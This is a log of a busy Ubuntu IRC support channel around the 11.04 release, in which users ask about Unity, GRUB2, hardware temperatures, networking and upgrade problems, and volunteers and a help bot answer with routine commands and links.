[16:48] <ubottu> pastebinit is the command-line equivalent of !pastebin - Command output, or other text can be redirected to pastebinit, which then reports an URL containing the output - To use pastebinit, install the « pastebinit » package from a package manager - Simple usage: command | pastebinit -b http://paste.ubuntu.com
[16:48] <tansell-laptop> I've tried playing disabling 802.11n and a few other things but nothing seems to work
[16:48] <xangua> Stameni: there is no system tray in unity, try with 'classic desctop'
[16:48] <hnsz> ikonia: I suppose I can but its a lot of effort to write a script for that :)
[16:49] <jo-erlend_> Stameni, you can configure that in ccsm.
[16:49] <Dedego> escott: http://paste.ubuntu.com/601771/
[16:49] <ikonia> hnsz: it's not writing a script - just install the tool "pastebinit"
[16:49] <Ultimate_Chaos> can it?
[16:49] <_joey> how do I upgrade to natty from shell?
[16:49] <hnsz> ikonia: nice
[16:49] <jo-erlend_> xangua, that's not true. It's just configured not to display icons except predefined ones.
[16:49] <Ultimate_Chaos> oh stupid me
[16:49] <Ultimate_Chaos> hello, can the top bar be themed? Ubuntu 11.04 Unity
[16:49] <escott> Dedego, and it is in your path? `which gcc` returns /usr/bin/gcc?
[16:49] <xangua> jo-erlend_:  then how about tell me that to me, tell to Stameni how to
[16:50] <xangua> instead of
[16:50] <Stameni> jo-erlend: how ?
[16:50] <coz_> Ultimate_Chaos,   I dont think so,, certainly not at this point
[16:50] <Dedego> escott: yeah
[16:50] <coz_> Ultimate_Chaos,  if so I am unaware of it
[16:50] <ayrton> can any1 help me with my ccsm error?
[16:50] <Stameni> jo-erlend_: how ?
[16:50] <xangua> Ultimate_Chaos: it can
[16:50] <escott> Dedego, sounds like a problem with that configure script
[16:50] <coz_> Ultimate_Chaos,   other than changeing the theme in appearances
[16:50] <Dedego> escott: giving reboot resolves?
[16:51] <escott> Dedego, no idea, you can always try
[16:51] <Ultimate_Chaos> hello, so no effects? Ubuntu 11.04 Unity
[16:51] <Dedego> escott: ok
[16:51] <trailoryo> anyone know how to fix soundcard problem with spotify through Wine?
[16:51] <jo-erlend_> Stameni, look in ccsm. You'll find it. Or in dconf-editor. It is possible.
[16:51] <coachj> can somone remind me what to type in terminal to test 3d (the wheels) thingy?
[16:51] <Froq> hi
[16:51] <coz_> Ultimate_Chaos,  if you go  to gnome-appearance-properties you can change the system theme which should change the upper panel/dock
[16:52] <escott> tansell-laptop, is bc05 your mac address or that of the router
[16:52] <[thor]> trailoryo: go to #winehq with that question
[16:52] <trailoryo> Thanks, thor
[16:52] <tansell-laptop> routers
[16:52] <Ultimate_Chaos> hello, can you custom code to use a ppa with vioding license? Ubuntu 11.04 Unity
[16:53] <escott> tansell-laptop, sounds like you need to specify a wep or wpa2 password
[16:53] <bmfx1> my pc is so hot :(
[16:53] <coz_> bmfx1,  I assume you mean heat hot ...yes?
[16:53] <Ultimate_Chaos> okay
[16:53] <Stameni> jo-erlend_, is that a bug in unity and it will be fixed or it will stay forever like that ?
[16:53] <Spikes> guys, what could be a problem: Sometimes my ubuntu 10.10 server loses network connection, but after 1-3 minutes it's again online
[16:54] <Ultimate_Chaos> hello, can you access gnome3 sourc code anywhere?
[16:54] <Guest70597> I'm trying to install a mod but cant figure it out,   I'm using Ubuntu
[16:54] <jo-erlend_> Stameni, it's not a bug. We don't like the abuse of notification area and want to change that behaviour.
[16:54] <xangua> !gnome3 |  Ultimate_Chaos
[16:54] <ubottu> Ultimate_Chaos: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[16:54] <bmfx1> temperatue of pc
[16:54] <ikonia> Ultimate_Chaos: it's fully available from the gnome repos
[16:54] <sarthor> HI, i was upgrading from 10.10 to 11.04, and machine restarted or may be Internet went, i was sleeping at that time, Now, I can not boot linux, i am on the consol selecting M for manual, but and I manuall assigned IP and i can access the internet , how to upgrade,
[16:54] <xangua> Ultimate_Chaos: from gnome's web¿
[16:54] <bmfx1> sorry about my english
[16:54] <coz_> Ultimate_Chaos,  probably from the PPA for gnome3  or gnomeshell
[16:54] <jo-erlend_> Stameni, but it is configurable. You can change it if you really want to have it that way, but I can't recommend it.
[16:54] <coz_> bmfx1,   ok  this is a desktop or laptop?
[16:54] <bmfx1> this is a desktop
[16:54] <Dedego> how can I remove this version of the build-essential?
[16:54] <Stameni> jo-erlend_, so xchat, amsn and all other stuff that have "go in system tray on "x"" just disapear
[16:55] <coz_> bmfx1,   what temperatures are you monitoring?
[16:55] <coz_> which
[16:55] <niadh> I need help setting up a static ip server and I have been trying for days, I cannot figure out what I am doing wrong, can someone help?
[16:55] <xangua> Dedego: sudo apt-get purge packagename
[16:55] <escott> Dedego, build-essential is a meta package removing it won't do much
[16:55] <rgr> niadh: try #linux
[16:55] <jo-erlend_> Stameni, yes, unless you configure them to be exceptions. Preferably, they'll provide their own indicators instead.
[16:55] <punguy> re: the info from ubotto. I think my brain is expermental and unstable in the morning ... before coffee.
[16:55] <Ultimate_Chaos> Thank you all, I really love you guys!?
[16:55] <rgr> its trivial
[16:55] <coz_> bmfx1,  which temperatures are you looking at ,, in a monitor?
[16:55] <rgr> and well documented
[16:55] <bmfx1> @coz_: are you know what command get temperature?
[16:56] <bmfx1> I see it on the case
[16:56] <Stameni> jo-erlend_, thanks for answering. ( btw, i really don't like that new behavior )
[16:56] <krajo> ola
[16:56] <coz_> bmfx1,  well  we can test the temperatures of the hard drives if you install  hddtemp
[16:56] <escott> bmfx1, sensors and sensors-detect
[16:56] <krajo> wtf
[16:56] <linusasus6> im in /boot/grub now what is the file I have to modfor see ubuntu again in list
[16:56] <Ultimate_Chaos> Also when i go to get temperature readings it says -407 degrees C
[16:56] <jo-erlend_> Stameni, I think notifications should notify you of something. That's not the case today, so it needs to be changed.
[16:56] <coachj> wow really
[16:56] <Ultimate_Chaos> Also on all sencors
[16:56] <mbroeker> niadh, you can edit /etc/network/interfaces to setup a static ip for a server without gui and network manager
[16:57] <rgr> linusasus6: nothing with grub 2 you are in the wrong place afaik, you must modify default. and run update-grub.
[16:57] <bmfx1> @coz_, @escott: ok, i'll install it
[16:57] <Stameni> jo-erlend_: we users get used to some stuff :)
[16:57] <pfifo> Ultimate_Chaos, less than absolute zero, nice
[16:57] <coz_> bmfx1,  after installing   hddtemp open a terminal   and type     sudo hddtemp /dev/sd*    or if you want that in farenheit   it would be     sudo hddtemp --u=F /dev/sd*
[16:57] <jo-erlend_> Stameni, also we would like to have an intelligible system, which means that features acts in the same ways. Indicators achieve that. Notifications doesn't.
[16:57] <shiftingcontrol> I updated studio 11.04 from 10.10 ,it hung six times,today how can i report the bug ?
[16:57] <linusasus6> rgr where's default.
[16:58] <Ultimate_Chaos> Also is there a way to fix that?
[16:58] <bmfx1> @coz_: this is my output
[16:58] <bmfx1> /dev/sda: WDC WD5000AAKS-07A7B2: 49°C
[16:58] <bmfx1> /dev/sda1: WDC WD5000AAKS-07A7B2: 49°C
[16:58] <bmfx1> /dev/sda2: WDC WD5000AAKS-07A7B2: 49°C
[16:58] <bmfx1> /dev/sda3: WDC WD5000AAKS-07A7B2: 49°C
[16:58] <bmfx1> /dev/sda4: WDC WD5000AAKS-07A7B2: 49°C
[16:58] <bmfx1> /dev/sda5: WDC WD5000AAKS-07A7B2: 49°C
[16:58] <Stameni> jo-erlend_: skype has no problems going in the upper bar when i say "stay in system tray when i click "x" "
[16:58] <tansell-laptop> escott, I have specified it in /etc/network/interfaces
[16:58] <sarthor> HI, i was upgrading from 10.10 to 11.04, and machine restarted or may be Internet went, i was sleeping at that time, Now, I can not boot linux, i am on the consol selecting M for manual, but and I manuall assigned IP and i can access the internet , how to upgrade,
[16:58] <Stameni> jo-erlend_: that has nothing to do with unity ?
[16:58] <linusasus6> I was use to it with the old method edit grub.lst lol
[16:58] <coz_> bmfx1,  ok  well thats ok  but when you paste things go to pastebin.com and paste it there then   give us the link :)
[16:58] <coachj> will someone please help me get 3d in 11.4
[16:59] <bmfx1> @coz_: ok, i'm sorry all :p
[16:59] <rgr> linusasus6: not quite rememebring I tried http://www.google.de/search?q=grub2+config+default and from that got : https://help.ubuntu.com/community/Grub2
[16:59] <jo-erlend_> Stameni, I've been trying to tell you that it is no problem to do it. You just need to add the name of the command, and it'll be added to the indicators as you expect. Skype is a preconfigured exception.
[16:59] <bmfx1> i don't know about that
[16:59] <bmfx1> :(
[16:59] <rgr> Its listed in the second link and explained
[16:59] <Stameni> jo-erlend_: thank you, i`ll install ccsm and try to make it that way
[16:59] <Krishnandu> escott, He tried adding boot flag to /boot partition, didn't helped, same CLI Grub screen...
[17:00] <jo-erlend_> Stameni, it may be a dconf setting. Let me have a look.
[17:00] <coz_> bmfx1,  no problem.... its just I believe the limit here is 2 maybe 3 lines can be pasted
[17:00] <Stameni> jo-erlend_, i don't have that eather, i`ll install it
[17:00] <coz_> bmfx1,  that is pretty hot actually  about 120 F
[17:01] <coz_> bmfx1,   do you have enough cooling in that system?
[17:01] <escott> Krishnandu, sounds like the grub-install wasn't done correctly or something is confusing grub.if he wants to get on the channel in the next 30 minutes ill still be eating lunch so having him pm me
[17:01] <coachj> hello
[17:01] <rgr> thats not hot for a CPU but is for a HD ...
[17:01] <coz_> rgr,  sure is
[17:01] <Ultimate_Chaos> Thank you all, I really love you guys!?
[17:02] <Stameni> jo-erlend_, can i pm you ?
[17:02] <bmfx1> coz, no, it have three fans but my case is small
[17:02] <coz_> bmfx1,   you might want to shut down,,, make sure the inside of the system is clean,, maybe add a fan near or on the hardrive(s)
[17:02] <coz_> bmfx1,  ah I see
[17:02] <katejones> I'm trying to install Ubuntu on a Konjinsha SA5 L500x (from a USB stick) and I'm getting a weird error and then a grey screen.. could anyone help?
[17:02] <truepurple> How does one move /home from one partition to another? Can one just copy/paste?
[17:02] <coz_> bmfx1,  well check to see if any of those fans are directly over the hardrives
[17:02] <katejones> (i'm running the install to see the error again)
[17:02] <binox> im trying to get dvd to run proper(not choppy)  as well as some games.  video card is intel 82852, i installed libdvdread4 still not working,  flash video is fine. modules say DRM is on ,  any other advice?  its an older slower computer,  but not sure i should have this problem.
[17:02] <jo-erlend_> Stameni, no. 1) Install apt://dconf-editor 2) look up /desktop/unity/panel. You'll find it there.
[17:03] <coz_> bmfx1,  I actually removed my hard drive tray and put a nice 120mm fan on the tray externally because I also have a small case
[17:03] <Stameni> jo-erlend_, ok, tnx
[17:03] <bmfx1> coz_, yes, i will try ^^
[17:03] <stanisav> hi, cannot make usb startup disk, tried unetbootin, it made a disk, but cannot start live ubuntu
[17:03] <jo-erlend_> Stameni, it should be self-explanatory, but if not, ask again :)
[17:03] <Dr_Willis> stanisav:  thers the pendrivelinux web site that also has tools - if unetbootin fails.. what does the flash drive do when yoy try to boot it?
[17:03] <linusasus6> I found the default is in /etc/default wich file I edit?
[17:03] <dbm> Helo ppl. Can anyone explane me my problem about upgrading. I've upgraded ubuntu 10.10 to 11.04
[17:03] <dbm> And my boot its not working,.
[17:04] <dbm> Can get into the system.
[17:04] <coz_> bmfx1,  it will be worth it,, those temperatures for a hard drive are pretty high,, they should be  near 27 celcius
[17:04] <coachj> cam someone at least tell me the coamnd to test 3d acce;ration?
[17:04] <laserbled> hi...i have home on another partition....i want to move it from there to another harddisk partition....what should i do.....home and installation partitions are different....help please
[17:05] <bmfx1> coz, T__T yesterday, it is 50*C
[17:05] <bmfx1> very hot
[17:05] <bmfx1> 55*C
[17:05] <coz_> bmfx1,  that is a bit high for sure
[17:05] <stanisav> Dr_Willis: i don' remember the exact message, but it's something like cannot mount dev/loop0
[17:05] <bmfx1> coz_, when i use ubuntu (and others linux), they are hotter than windows
[17:06] <Guest90922> who use ubuntu 11.4 ?
[17:06] <coz_> coachj,  whoa  not sure,,, there are a few benchmarks apps out there that should work ,, but onboard,, the one that comes to mind is glxgears but that by far NOT going to test much of anything useful
[17:06] <coachj> me
[17:06] <katejones> I'm getting this error and then a grey/static like screen.
[17:06] <katejones> 126.358073  cs5535-mfd 0000 MFD devices failed to install
[17:06] <coz_> bmfx1,   that's odd,,, it should not be that way,,, although I have noticed an increase in temps  since lucid
[17:06] <morgajel> hey guys, noob question- I just upgraded to natty and found out my firepass vpn plugin won't work with firefox 4; what's the easiest way to downgrade back to 3.5/3.6?
[17:06] <Ultimate_Chaos> Also when i go to get temperature readings it says -407 degrees C is there a way to fix it?
[17:07] <Guest90922> i have a problem... Ubuntu says to me on the available monitors screen .. Unknown monitor .. and i cant use effects , high resolution and etc ... how to repair this shit =]] ?
[17:07] <xangua> morgajel: google old firefox releases
[17:07] <Stameni> jo-erland_, when i try sudo apt-get install dconf-editor it says that it doesn't exist
[17:07] <IdleOne> Guest90922: Please mind your language
[17:07] <xangua> !language | Guest90922
[17:07] <ubottu> Guest90922: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[17:07] <katejones> I can't install, and I can't boot into the Live Ubuntu on USB either.. would really like to install Ubuntu and get rid of XP.. can anyone help?
[17:08] <coachj> coz: can you help get 3d on my 11.4 install?
[17:08] <IdleOne> katejones: you are using 11.04 Live CD?
[17:08] <bastidrazor> morgajel: get the .deb of 3.6 and install that way. you can have both until 4.0 comes around
[17:08] <binox> maverick, intel 82852,  choppy dvd video, flash video fine.   libdvdread4 installed,  i believe  DRM is on for the cd/dvd rom  any suggestions?
[17:08] <Stameni> jo-erland_, i'v installed dconf alone, but it reports me an eror when i try to start it ( alltought, i don't know why am i trying that )
[17:08] <coz_> coachj,   which video card do you have?
[17:08] <keithpeter> Guest90922: what video card?
[17:08] <webben> I'm running Ubuntu in a virtual machine on OS X. I have a UK Macbook keyboard where alt+3 is the way to insert a hash/octothorpe/number sign.
[17:09] <coachj> coz: its an old card but 3d has worked fine till now it is an ati/radon 7500
[17:09] <webben> Does anyone know of a good way to get this or something similar working on ubuntu?
[17:09] <Dr_Willis> binox:  install vlc, run it from a terminal, try to play dvd. look for error messages in terminal
[17:09] <katejones> IdleOne : 11.04 on live USB stick, small netboox doesn't have cd drive but I can boot from usb. Installed it with the Universal USB installer on the USB stick, no errors
[17:09] <coz_> coachj,  ok  just to make it easier  when you type someones name type the first 2 or 3 letters of their name and hit tab until it gets the right person
[17:09] <bmfx1> coz_: i will use driver of oss or manufacture, what is better? :p
[17:09] <coz_> coachj,   ok  are you on  Unity or classic gnome
[17:10] <coz_> bmfx1,  driver for what ?  the hard drives?
[17:10] <decajon> #ubuntu-ar
[17:10] <coachj> coz_: classic trying to get unity
[17:10] <IdleOne> katejones: ok so you were able to create the USB install without error but it still won't boot to Ubuntu?
[17:10] <bmfx1> coz: graphic card
[17:10] <Lorthirk> hello, i'm having a strange problem: since this morning, using fglrx and gnome classic on natty, the content of the windows doesn't update until i resize or minimize the window itself. what can i do?
[17:10] <coz_> bmfx1,  I would start with making sure they are fan cooled well enough first and check the temps with hddtemp every so often
[17:10] <IdleOne> !alternate | katejones try creating the usb with the alternate install iso.
[17:10] <ubottu> katejones try creating the usb with the alternate install iso.: The Alternate CD is a classic text-mode install CD. It supports a wider range of hardware than the !LiveCD, and can also be used as an upgrade CD. http://www.ubuntu.com/download/ubuntu/alternative-download#alternate - See also !minimal
[17:11] <katejones> Yes, It starts OK, I get some code on black, then the MFD error, then Ubuntu with red dots moving underneath, then some more code, and then the screen goes blank (seems grainy too, greyish black)
[17:11] <katejones> thanks, will try.
[17:11] <bmfx1> coz_: ok, i will try it latter. thanks you so much ;)
[17:11] <Ultimate_Chaos> /riaa
[17:11] <Omega> webben: Check in the keyboard settings
[17:11] <coz_> coachj,   ah ok..  there may be an issue with that card then,, the ati driver should have installed automatically,,, I am by far NOT the person to deal with ati cards,, I know far too little about them.. you may have to google  that card version with uubntu 11.04  to see if it is supported for 3d accel
[17:11] <Ultimate_Chaos> I owe the RIAA $133,950,000 (893 mp3s)
[17:11] <binox> dr willis:   installing now.  command to run from terminal  when done?
[17:11] <ubuntu-usr> hi all
[17:12] <xangua> !ot | Ultimate_Chaos
[17:12] <ubottu> Ultimate_Chaos: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[17:12] <coachj> coz_ ok thks
[17:12] <akshatj_> hi ubuntu-usr
[17:12] <DexterF> hi
[17:12] <Stameni> jo-erland_, the package is named "dconf-tools" but it doesn't work, anyway, thanks for help
[17:12] <binox> drwillis :  never mind on last question?
[17:13] <ubuntu-usr> my xserver does not work after 11.04 upgrade. It was alternate install from cd
[17:13] <DexterF> flash kills X after a recent upgrade. I suspect only in combo with nvidia-185. anybody else have this, possibly a remedy?
[17:13] <linusasus6> I'm getting lost in the grub2 documentation please how I do for ubuntu apear again in the grub menu when I do update-grub as you can see here http://pastebin.com/cEkpFdaM  it work but when is time to restart ubuntu still not there
[17:14] <katejones> ubottu & IdleOne - alternate version downloading, attempt number 2 :) (if that doesn't work I'll try the netbook version, if that doesn't work I might just throw this thing out the window..or be back)
[17:14] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[17:14] <ubuntu-usr> my problem is i can not use internet in command line because 3g modem
[17:14] <xangua> DexterF: don't use flash ;)
[17:14] <IdleOne> katejones: let's hope for the best.
[17:15] <phonex01> Hello
[17:15] <phonex01> how are you guys ?
[17:15] <phonex01> oh god ubunt 11.04 is really bad !
[17:15] <xangua> !ot > phonex01
[17:15] <ubottu> phonex01, please see my private message
[17:15] <IdleOne> good phonex01 thanks, did you have a support question?
[17:15] <phonex01> hahahah o, kidding
[17:15] <cheater2> hey guys, for some reason my mouse cursor just disappeared! what can i do? i can still move the mouse and click stuff, but the cursor is simply not there ...
[17:15] <phonex01> sorrrrrrrrry
[17:16] <dougl> how do I configure my ubuntu desktop on my network for static IP address?
[17:16] <phonex01> hi hi im kidding !
[17:16] <rgr> phonex01: saying 11.04 is really bad is not OT. But say why so people can learn.
[17:16] <aguitel> what is last version of libreoffice ?
[17:16] <cheater2> IdleOne, any ideas? :x
[17:17] <rgr> aguitel: where?
[17:17] <BlessJah> i have guy that moved hd from one computer to another, what is name of package that he has to dpkg --reconfigure in order to get new xorg.conf (old computer had nvidia, new one has intel)
[17:17] <akshatj_> aguitel, In ubuntu 11.04 or upstream?
[17:17] <aguitel> rgr, in natty
[17:17] <xangua> !info libreoffice > aguitel
[17:17] <kaizer> 11111
[17:17] <akshatj_> aguitel, its 3.3 AFAIK
[17:17] <IdleOne> cheater2: haha no idea but I suggest you keep track of where it is. Seriously. try logging out and back in. that should reset things.
[17:18] <morgajel> thanks guys, I had to pull ff 3.5+branding+xulrunner1.9.1
[17:18] <morgajel> and uninstall 4
[17:18] <aguitel> akshatj_, if i install from ppa in lucid too ?
[17:18] <trailoryo> I need help with installing Spotify for Linux(beta). pm me
[17:19] <needlez> hey has anyone had an issue with the gnome screensaver running rss-glx screensavers, like a bar seperating the screensaver near the top that is barely visible?? this is in ubuntu 11.04, just wanna know so I can make bug report, or if someone has a fix i may have over looked?
[17:19] <rgr> aguitel: you might find it faster to look in the natty packages here :- http://packages.ubuntu.com/search?suite=natty&keywords=searc
[17:19] <karthick1987> How to stop getting mails from ubuntu-doc mailing list ?
[17:19] <rgr> karthick1987: unsuscribe.
[17:19] <akshatj_> aguitel, the PPA version is 3.3
[17:19] <aguitel> rgr, i need to install in 10.04 to replace openoffice
[17:19] <sammy> i'm looking for a GUI to start/stop upstart services
[17:19] <IdleOne> karthick1987: at the bottom of the emails there should be a link for you to unsubscribe
[17:19] <sammy> I must be overlooking it
[17:20] <cheater2> IdleOne, my problem is i can't log out, because i'm running ddrescue
[17:20] <aguitel> akshatj_, thanks
[17:20] <IdleOne> cheater2: you got me, sorry I can't help.
[17:20] <frxstrem> hi, I'm in a pretty bad situation here, as I managed to delete most files in my home directory - does anybody know of a way to recover them?
[17:21] <IdleOne> !undelete
[17:21] <ubottu> Some tools to recover lost data are listed and explained at https://help.ubuntu.com/community/DataRecovery - Recovering deleted files on !ext3 filesystems can be virtually impossible, although methods that might work is some cases are described at at http://www.xs4all.nl/~carlo17/howto/undelete_ext3.html and http://projects.izzysoft.de/trac/ext3undel
[17:21] <Sub_Zero> On our laptop that runs Ubuntu when you plug headphones in the sound automatically stops coming through the speakers and just comes through the headphones.
[17:21] <cheater2> IdleOne, bit desperate :(
[17:21] <Sub_Zero> But on my Desktop computer with Ubuntu it does not do this. It continues to come through BOTH speakers and headphones
[17:21] <Acid190> Hey guys, im kickin myself with this, cannot get javaapplet to load.
[17:21] <Acid190> http://pastebin.com/zntiBqn1
[17:21] <frxstrem> IdleOne: thanks, I'll have a look at those links
[17:21] <SalahGo> Hi all
[17:22] <ubuntu> cze all
[17:22] <cheater2> Sub_Zero, i believe it needs special hardware support
[17:22] <mipli> i am having some trouble with a new install of 11.04. For some reason the system switches to an old metactiy like theme after I have been logged in for a minute or two. Anyone know what might cause this, or where I can start debugging the problem?
[17:22] <Sub_Zero> Dang
[17:22] <truepurple> Anyone able to help me with some ATI driver issues?
[17:22] <karthick1987> IdleOne: There is no unsubscribe link?
[17:22] <trailoryo> "# 1. Add this line to your list of repositories by
[17:22] <trailoryo> #    editing your /etc/apt/sources.list
[17:22] <trailoryo> deb http://repository.spotify.com stable non-free" how do i do this? ;S
[17:22] <escott> Sub_Zero, its likely a new intel laptop
[17:22] <SalahGo> Guys, how come Skype can mess with a whole sound system (aka ALSA) on Ubuntu?
[17:23] <IdleOne> karthick1987: of course there is. all ubuntu mailing lists provide a link for you to manage your subscriptions.
[17:23] <will_> hey guys. how do i know if i've got nouveau with gallium 3D activiated? i'm hoping for some sort of definite console command, not just 'are you running unity or not?'
[17:23] <SalahGo> After installing Skype & running it on 11.04, it was acting funny, so i restarted, then no sound at all!
[17:23] <IdleOne> karthick1987: exactly where in the email I am not sure but it is there.
[17:23] <escott> Sub_Zero, you developers don't know the board configuration, and don't know what pins to disable when you plugin the headphone. you can manually disable pins with hda_analyzer.py from alsa
[17:23] <sammy> !repositories
[17:23] <ubottu> The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/project/about-ubuntu/components - See https://wiki.ubuntu.com/RecommendedSources for the recommended way to set up your repositories
[17:23] <vak> is it possible to pin Eclipse icon to Launcher in Ubuntu Unity somehow?
[17:24] <sammy> trailoryo: check out those links for how to mess with your repositories
[17:24] <sammy> anyone heard of a GUI to start/stop services?
[17:24] <sammy> I kinda can't believe there isn't one
[17:24] <dougl> I am googling to change maveric from dhcp to static ip on local network but am getting a range of ways to do it - how do I change from dhcp to static IP on my maverick box on my local network?
[17:25] <ross_> has anyone used the mobile hotspot with ubuntu?
[17:25] <akshatj_> sammy, better ask in #upstart
[17:25] <IdleOne> karthick1987: https://lists.ubuntu.com/mailman/listinfo/ubuntu-doc scroll down to the bottom of that page.
[17:25] <ross_> the verizon mifi
[17:25] <serene> dougl, I think the network tools will do that
[17:25] <will_> dougl: the easiest way would be using the network manager, if you have a graphical way to access your machine!
[17:26] <sammy> akshatj_: bah, sure, but I still can't believe there isn't an official ubuntu interface for status/start/stop upstart services.
[17:26] <AndroUser> xoxo
[17:26] <Helsinkiii> How do you disable the launcher bar thingy in 11.04
[17:26] <kill_joy> hey everyone
[17:26] <IdleOne> !classic | Helsinkiii
[17:26] <ubottu> Helsinkiii: The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[17:26] <SalahGo> Guys, how can i restart ALSA with the default configuration?!
[17:26] <escott> dougl, you could also have your router reserve the ip for that particular mac address, which may be easier
[17:26] <coz_> Helsinkiii,   well you can put it in autohide mode via ccsm Unity plugin
[17:26] <AndroUser> hey all.  running 11.04 on a netbook
[17:27] <Helsinkiii> wow I think Unity stinks to be honest
[17:27] <dougl> serene, will thanks for the input - I do have gnome running...
[17:27] <n2i> Hi! Please help me!
[17:27] <kill_joy> Just upgraded to natty and I'm having issues with synaptic and software center.  If anyone can help... please pm me
[17:27] <zach_> Hi i hav a problem with making a usb startup disk with 11.04
[17:27] <Dr_Willis> Helsinkiii:  theres the classic gnome desktop you can select at the GDM screen.
[17:27] <n2i> I have an error, here it is http://paste.ubuntu.com/601786/
[17:27] <dougl> escott, yes that sounds better/easier... do you have a url with instrructions?
[17:28] <n2i> Please tell me how to fix!
[17:28] <pdfman> Trying ubuntu 10.10 from cd on laptop,gets the message"fdevice not ready firmware missing" how do i load firmware for wireless adaptor?
[17:28] <escott> dougl, depends on your router and its firmware
[17:28] <craigbass1976> I'm looking to get firefox 4 in lucid.  sudo add-apt-repository ppa:mozillateam/firefox-stable   Is that the best way?
[17:29] <Dr_Willis> pdfman:  in the past ive had to plug in a qwired connection the first time , and install the wireless drivers
[17:29] <Dr_Willis> !ff4
[17:29] <ubottu> Firefox 4 is the current stable version of Firefox. Current versions of Ubuntu do not have it (see !latest), but there is an unofficial and unsupported PPA that you can use by running the following command: sudo add-apt-repository ppa:mozillateam/firefox-stable && sudo apt-get update && sudo apt-get install firefox
[17:29] <escott> dougl, go to http://192.168.1.1 (assuming that is your router) and see if there is an option to reserve the ip by mac address
[17:29] <zvacet> n2i: sudo apt-get install acpi-support
[17:29] <n2i> zvacet: cannot update or install anything else :(
[17:29] <zach_> for some reason the live usb installation disk i made can't boot
[17:30] <craigbass1976> Dr_Willis, thank you sir; I just wanted to make sure this was the recommended dosage before I went and did it.
[17:30] <Dr_Willis> zach_:  whats your video chipset? what does it stop at?
[17:30] <dougl> escott, I have a wrt54g2 linksys with 1.0.01 firmware - checking options for mac addresses
[17:30] <zach_> it doesnt even get to booting
[17:30] <pdfman> Dr_Willis not an option for me because I have no physical access to the router.only wireless connection to AP
[17:30] <zach_> i've done it before on the same computer and it worked
[17:31] <SalahGo> Command to restart alsa with default config plz
[17:31] <zach_> with a different distro
[17:31] <n2i> root@ubuntu:/var/lib/dpkg/updates# rm *
[17:31] <n2i> rm: cannot remove `0000': Input/output error
[17:31] <n2i> rm: cannot remove `0001': Input/output error
[17:31] <n2i> rm: cannot remove `0002': Input/output error
[17:31] <n2i> rm: cannot remove `0003': Input/output error
[17:31] <n2i> rm: cannot remove `0004': Input/output error
[17:31] <FloodBot3> n2i: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[17:31] <kill_joy> any ideas on how to fix this? --->
[17:31] <kill_joy> E: Encountered a section with no Package: header
[17:31] <kill_joy> E: Problem with MergeList /var/lib/apt/lists/security.ubuntu.com_ubuntu_dists_natty-security_main_i18n_Translation-en
[17:31] <Dr_Willis> n2i:  filesystem needs fscked.. or your hd is going bad.
[17:31] <Acid190> Any help?
[17:32] <n2i> Dr_Willis: I using Ubuntu on liveusb
[17:32] <Dr_Willis> zach_:  a differnt disrto may be using differnt default video drivers..
[17:32] <zach_> no it was lubuntu
[17:32] <Dr_Willis> n2i:  and you are trying to delete things from the cd? or what exactly?
[17:32] <Dr_Willis> zach_:  if you get lubuntu installed. you could then install 'ubuntu-desktop' package to get the normal Ubuntu stuff.
[17:32] <Helsinkiii> i miss the minimalist, unbloated interface of Gnome 2.0
[17:32] <Dr_Willis> zach_:  i think Lubuntu may default to some safer settings.
[17:33] <n2i> Dr_Willis: I also use this usb as flash devices on windows
[17:33] <zach_> no both computers used intel graphics
[17:33] <facelessloser> anyone have issus with 11.04 having a black screen after sleep
[17:33] <zvacet> Helsinkiii: from login screen select ubuntu classic
[17:33] <stefg> Helsinkiii: 10.04 is still a worthy (and recommended) install option... add some mozilla-stable and libreoffice ppa's und yyou have what you want
[17:34] <OwenLA7QZ> Hi. Anyone know how to set Adobe Reader as default app for PDF files? Works OK with double click in filemanager, but Chromium and calibre still open PDF's in Evince.
[17:34] <blackgraz> xcvbdf
[17:34] <n2i> Adobe Reader :3
[17:34] <illmortal> lol 11.04 came out waaaay too early. This GUI is broken in so many ways it's not even funny.
[17:35] <karthick1987> I have cleared cookies but still yahoomail shows my username and password..Why??
[17:35] <stefg> OwenLA7QZ: right click on a .pdf file and choose options. Select acroread as default
[17:35] <dougl> escott, I dont see any options to assign ip to mac address?
[17:35] <thelord> hi every one
[17:35] <arnab> how can i A) check which packages are not needed anymore, eg. dependencies of packages i already removed and B) remove them?
[17:35] <kill_joy> hello thelord
[17:35] <trollboy> is there a way to kill the new mac-like titlebar?  (the titlebar of the application in focus becomes the application bar at the top of the desktop?
[17:35] <stefg> OwenLA7QZ: chrome/chromium uses nautilus' default
[17:36] <user82> !autoremove
[17:36] <user82> lets seee
[17:36] <escott> dougl, the stock firmware from linksys isn't always the most configurable. you could see if tomato supports your device if you don't mind flashing new firmware
[17:36] <user82> not
[17:36] <zach_> Dr_Willis, do think they .iso image i downloaded might be corrupt?
[17:36] <stefg> trollboy: it's called global menus and there is a way to get rid of that nonsense
[17:36] <escott> !md5 | zach_
[17:36] <ubottu> zach_: To verify your Ubuntu ISO image (or other files for which an MD5 checksum is provided), see http://help.ubuntu.com/community/HowToMD5SUM or http://www.linuxquestions.org/linux/answers/LQ_ISO/Checking_the_md5sum_in_Windows
[17:36] <illmortal> anyone notice that Unity conflicts with Compiz?
[17:36] <Guest78388> hi @ every one
[17:36] <kill_joy> what up
[17:36] <Dr_Willis> zach_:  thats always possible. its easy to check its md5
[17:36] <Dr_Willis> !md5 | zach_
[17:36] <dougl> escott, googling tomato
[17:37] <arnab> !autoremove
[17:37] <Dr_Willis> BRB
[17:37] <OwenLA7QZ> stefg already did that
[17:37] <arnab> i see nothing
[17:37] <dougl> !staticip
[17:37] <luisgrin> hi, i have installed ubuntu server and some X support, now i would like to add kind of terminal server, i couldnot find until now one easy to install
[17:37] <OwenLA7QZ> That's why it works from fileman
[17:37] <zvacet> arnab: http://www.ubuntugeek.com/cleaning-up-all-unnecessary-junk-files-in-ubuntu.html
